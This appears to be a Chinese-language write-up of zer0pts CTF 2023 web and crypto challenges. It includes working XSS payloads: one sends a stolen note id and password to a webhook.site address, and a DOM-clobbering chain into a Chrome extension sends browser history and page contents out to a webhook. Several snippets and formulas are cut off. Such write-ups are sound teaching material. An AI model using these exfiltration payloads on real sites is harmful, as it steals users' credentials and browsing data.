zer0pts CTF 2023 Writeups
今年和 Balsn 一起打 zer0pts CTF,有解了些 Web 和 Crypto 的題目。
Web
Neko Note
關鍵部分的 code 在這段:
1 | var linkPattern = regexp.MustCompile(`\[([0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[0-9a-f]{4}-[0-9a-f]{12})\]`) |
其中 note
可控,而這段的內容會在前端使用
innerHTML
塞進去,所以要想辦法 XSS。這邊關鍵在於
html.EscapeString
只 escape 五個字元 <
>
&
'
"
,而它塞 a tag 的地方沒有 quote 起來,所以可以給 a
注入任意 attribute。
參考 XSS cheatsheet 可知有很多 attribute 可以用,但不需要 user interaction 的只有幾個而已。其中有一個是
1 | <a id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></a> |
但前端部分是需要 bot 按下按鈕之後才會觸發 innerHTML
的
assignment,所以這個無法觸發。不過後來發現其實用
onmouseover
或是 onpointerover
之類的 event
就行了,因為 await page.click('button');
似乎是直接抓
element 的 x, y 座標,然後點下去之後就不再移動 (至少 playwright
是這樣),因此只要 a 元素夠大,和按鈕的部分有重疊就能觸發。因此
x onmouseover=alert(origin)
即可 XSS。
這樣雖然已經可以取得 flag note 的 id,但還沒有密碼。這部分需要看 bot 的 code:
1 | // post a note that has the flag |
簡單來說 bot 只要檢測到 note 被鎖住,就會用 master key
解鎖,然後把密碼刪掉。而我們的 XSS 會在最下面那個
await page.click('button');
之後才會觸發,所以這時候 master
key 已經被刪掉了。
這邊的技巧是透過 document.execCommand('undo')
把密碼還原回來,之後再從 DOM 中抓密碼就有了。
完整 payload:
1 | xxxxxxxxxxxxxxxxxxxx onmouseover=document.execCommand(`undo`);pwd=document.querySelector(`input`).value;id=JSON.parse(localStorage.getItem(`neko-note-history`))[0].id;location=`https://webhook.site/9a5f00d1-194c-46af-b09a-b488a79d2787?id=`+id+`&pwd=`+pwd |
Flag: zer0pts{neko_no_te_mo_karitai_m8jYx9WiTDY}
ScoreShare
這題看起來是 dom clobbering 的題目,不過有個很大的 unintended solution XDDD。關鍵在這邊:
1 |
|
這邊 abc
內容是完全可控的,然後網站也有 CSP
script-src 'self'
。所以這邊就先建一個 score 讓內容為 js
fetch(...)
之類的,然後再建另一個 score 讓用 html
<script src=/api/score/...></script>
引入就能不管 CSP 直接 XSS 了。
Flag:
zer0pts{<iframe>_1s_a_s7r0ng_t00l_f0r_D0M_cl0bb3r1ng}
Ringtone
有個網站幾乎沒做什麼事,除了有個靜態頁面以外就只有一個隱藏的 flag route 而已。主要部分都在 chrome extension 的部分。
它有個 content script:
1 | var form=document.getElementById("ring-form"); |
而那個 chrome extension 本身還有個 index.html
引入了這個
js:
1 | function evalCode(code) { |
而那個 /?code=
的部分則透過 background script
去處理,基本上就事直接 echo:
1 | const prefix = location.origin + '/?code='; |
而 bot 一開始會開四個頁面,包含網站首頁、插件的
index.html
、flag 頁面和你所 submit 的 url。而
chrome.tabs.onUpdated
在有新分頁開啟時會觸發,所以在這個場景是自動觸發的,因此它會讓 content
script 嘗試去讀取
users.privileged.dataset.admin
,然後送回去
index.html
頁面 eval。
同時那個靜態頁面上也有
document.getElementById("msg").innerHTML=DOMPurify.sanitize(inp,options)
,所以可以用
dom clobbering 去改 users.privileged.dataset.admin
的值:
1 | <div id="users"></div> |
然後現在相當於有 chrome extension 環境的任意 code 執行了,而 manifest
有
"permissions":["history","activeTab","tabs"]
,因此可以直接讀
history 找到 flag 頁面的 url。
具體要執行的 js 不能有空白,弄一弄會變成這樣:
1 | chrome.history.search({text:``},function(hist){u=`https://webhook.site/f71604a4-fc9b-4c99-9e0f-366529a29ac7`;navigator.sendBeacon(u,JSON.stringify(hist,null,2));for(let{url}of[hist][0]){fetch(url).then(function(r){return[r.text()][0]}).then(function(t){navigator.sendBeacon(u,t)})}}) |
全部串起來變成:
1 | http://ringtone.2023.zer0pts.com:8505/?message=%3Cdiv%20id=users%3Ea%3C/div%3E%3Cdiv%20id=users%20name=privileged%20data-admin=%22chrome.history.search({text:``},function(hist){u=`https://webhook.site/f71604a4-fc9b-4c99-9e0f-366529a29ac7`;navigator.sendBeacon(u,JSON.stringify(hist,null,2));for(let{url}of[hist][0]){fetch(url).then(function(r){return[r.text()][0]}).then(function(t){navigator.sendBeacon(u,t)})}})%22%3Ea%3C/div%3E |
Flag: zer0pts{extensions_are_really_muzukashi}
Crypto
*easy_factoring
隊友解的,後來自己再做一次
給予
關鍵是注意到
1 | p = random_prime(1 << 128) |
moduhash
1 | import os |
這題會先生成一個由 S
和 T
組成的字串,然後
hash
函數會接收那個字串和一個複數 S
和
T
對
目標是它會給你一個輸入和輸出,要找出另一個字串可以對任何複數套用那個
hash
都能有一樣的結果。
查了一下知道這個東西是 Modular group,就是一堆
組合合成的一個群,其中
而在它的 Group-theoretic
properties 就能看到上面的那兩個 zi
到 h1(zi)
中間所經過的操作是一堆的
所以有
拆成很多
這邊我是參考 Decomposition
of modular group elements
寫了一個演算法出來,不過遇到的一個小問題是它裡面的
1 | from pwn import process, remote, context |